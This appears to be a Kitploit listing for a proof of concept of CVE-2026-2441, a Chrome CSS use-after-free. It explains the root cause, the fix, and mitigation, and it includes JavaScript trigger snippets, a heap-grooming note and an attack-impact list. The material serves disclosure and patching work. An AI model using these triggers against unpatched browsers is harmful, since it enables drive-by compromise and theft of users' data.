Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-2441-PoC — Proof-of-concept for CVE-2026-2441, a use-after-free in Chrome's CSS engine, demonstrating renderer crash and potential sandboxed code execution via crafted HTML. | Kitploit
Tools/GitHubGitHub/huseyinstif/cve-2026-2441-poc
Vulnerability AnalysisExploitationWeb Application ExploitationMalware AnalysisLearning & Education
GitHubhuseyinstif/cve-2026-2441-poc

CVE-2026-2441-PoC

Proof-of-concept for CVE-2026-2441, a use-after-free in Chrome's CSS engine, demonstrating renderer crash and potential sandboxed code execution via crafted HTML.

View Repository
135246 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-2441 — Chrome CSSFontFeatureValuesMap Use-After-Free

CVSS 8.8 (High) | Actively Exploited in the Wild | Renderer RCE (Sandboxed)

A use-after-free vulnerability in Google Chrome's Blink CSS engine that allows a remote attacker to execute arbitrary code inside the browser sandbox via a crafted HTML page.

Vulnerability Details

FieldValue
CVECVE-2026-2441
CVSS8.8 (High)
TypeUse-After-Free (CWE-416)
ComponentBlink CSS — CSSFontFeatureValuesMap
Source Filethird_party/blink/renderer/core/css/css_font_feature_values_map.cc
Fix Commit63f3cb4864c64c677cd60c76c8cb49d37d08319c
ReporterShaheen Fazim (2026-02-11)
Patch Date2026-02-13
In-the-WildYes — Google confirmed active exploitation

Affected Versions

PlatformVulnerableFixed
Windows / macOS (Stable)< 145.0.7632.75>= 145.0.7632.75
Linux (Stable)< 144.0.7559.75>= 144.0.7559.75
Windows / macOS (Extended Stable)< 144.0.7559.177>= 144.0.7559.177
Chromium-based browsers (Edge, Brave, Opera, Vivaldi)Check vendor advisoryVaries

Root Cause

FontFeatureValuesMapIterationSource stored a raw pointer (const FontFeatureAliases* aliases_) to the internal FontFeatureAliases HashMap. When the map is mutated during iteration via set() or delete(), the HashMap rehashes — allocating new storage and freeing the old. The raw pointer becomes dangling, and the next FetchNextItem() call reads from freed memory.

Vulnerable Code Path

root@kitploit:~
CreateIterationSource()
  → FontFeatureValuesMapIterationSource(map, aliases_)
  → aliases_ = raw pointer to internal HashMap
  → iterator_ = aliases_->begin()

FetchNextItem()
  → reads iterator_->key  (through aliases_)

If map.set() / map.delete() is called between iterations:
  → HashMap rehashes (new alloc, old freed)
  → aliases_ → dangling pointer
  → iterator_ → invalidated
  → Next FetchNextItem() → USE-AFTER-FREE

Fix

root@kitploit:~
- const FontFeatureAliases* aliases_;   // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_;    // deep copy → immune to rehash

The fix replaces the raw pointer with a deep copy of the HashMap. Even if the original map rehashes, the iterator operates on its own copy, preventing the dangling pointer.

Proof of Concept

Usage

  1. Open poc.html in a vulnerable Chrome version (< 145.0.7632.75)
  2. The page will attempt to trigger the UAF through three different methods

Expected Results

Chrome VersionExpected Behavior
< 145.0.7632.75 (unpatched)Renderer crash — STATUS_ACCESS_VIOLATION (Windows) or SIGSEGV (Linux/macOS). Chrome shows "Can't open this page" error.
>= 145.0.7632.75 (patched)No crash — PoC runs to completion, all entries are read normally.

Screenshot (Unpatched Chrome — Crash)

When opened in a vulnerable Chrome version, the renderer process crashes with STATUS_ACCESS_VIOLATION:

root@kitploit:~
Can't open this page

Error code: STATUS_ACCESS_VIOLATION

This confirms the UAF is triggered — the dangling pointer accesses freed/unmapped memory, causing the renderer process to terminate.

How the PoC Works

The PoC triggers the UAF through three independent methods:

Method 1: entries() Iterator + Mutation Loop

root@kitploit:~
const iterator = map.entries();
while (step < 20) {
    iterator.next();          // read through (now dangling) pointer
    map.delete(key);          // trigger rehash
    for (i = 0; i < 512; i++)
        map.set("spray_" + i, [i]);  // force reallocation
}

Method 2: for...of + Concurrent Mutation

root@kitploit:~
for (const [k, v] of map) {
    map.delete(k);
    for (i = 0; i < 512; i++)
        map.set("alt_" + i, [i]);
}

Method 3: requestAnimationFrame + Layout Recalc

root@kitploit:~
function rafTrigger() {
    document.body.offsetWidth;   // force layout recalc
    const result = iterator.next();
    map.delete(k);
    for (i = 0; i < 512; i++)
        map.set("raf_" + i, [i]);
    requestAnimationFrame(rafTrigger);
}

Each method also includes heap grooming — allocating 50 same-sized @font-feature-values rules to make the heap layout predictable for potential exploitation.

Impact

Immediate (Sandbox-scoped)

  • Arbitrary code execution within the renderer process sandbox
  • Information disclosure — leak V8 heap pointers (ASLR bypass), read renderer memory contents
  • Credential theft — read document.cookie, localStorage, sessionStorage, form input values
  • Session hijacking — steal session tokens, exfiltrate via fetch() / WebSocket / sendBeacon()
  • DOM manipulation — inject phishing forms, modify page content
  • Keylogging — capture all keystrokes via addEventListener('keydown')

Chained (with Sandbox Escape)

When combined with a separate sandbox escape vulnerability:

root@kitploit:~
Renderer RCE (CVE-2026-2441)
    → Mojo IPC exploit → Browser process RCE
        → Kernel exploit → Full system compromise
            → Malware / ransomware / spyware installation
            → File system access, lateral movement, persistence

Real-world exploit chains using similar browser UAFs:

  • NSO Pegasus — WebKit UAF + sandbox escape + kernel exploit
  • Intellexa Predator — Chrome UAF + Android kernel exploit
  • APT-28 (Fancy Bear) — Chrome 0-day + Windows LPE chain

Attack Vector

This vulnerability is exploitable via drive-by download — no user interaction beyond visiting a malicious page is required:

  • Malvertising — malicious ads served through legitimate ad networks
  • Watering hole — compromise a site frequently visited by the target
  • Spear phishing — send a crafted link via email or messaging

Mitigation

  1. Update Chrome to >= 145.0.7632.75 (Windows/macOS) or >= 144.0.7559.75 (Linux)
  2. Update Chromium-based browsers (Edge, Brave, Opera, Vivaldi) when vendor patches are available
  3. Verify Site Isolation is enabled (chrome://flags/#site-isolation-trial-opt-out)
  4. Monitor endpoints for Chrome versions below the fixed builds

Timeline

DateEvent
2026-02-11Vulnerability reported by Shaheen Fazim
2026-02-13Google releases Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux)
2026-02-13Google acknowledges in-the-wild exploitation
2026-02-16Vivaldi and Opera ship fixes

References

  • Google Chrome Releases Blog
  • NVD — CVE-2026-2441
  • The Hacker News — Chrome Zero-Day Under Active Attack
  • Chromium Issue Tracker (restricted)

Support

If you find this research useful, consider buying me a coffee:

Buy Me A Coffee

Disclaimer

This proof of concept is provided for educational and authorized security research purposes only. Use of this PoC against systems without explicit permission is illegal and unethical. The author is not responsible for any misuse.

License

MIT

Download Tool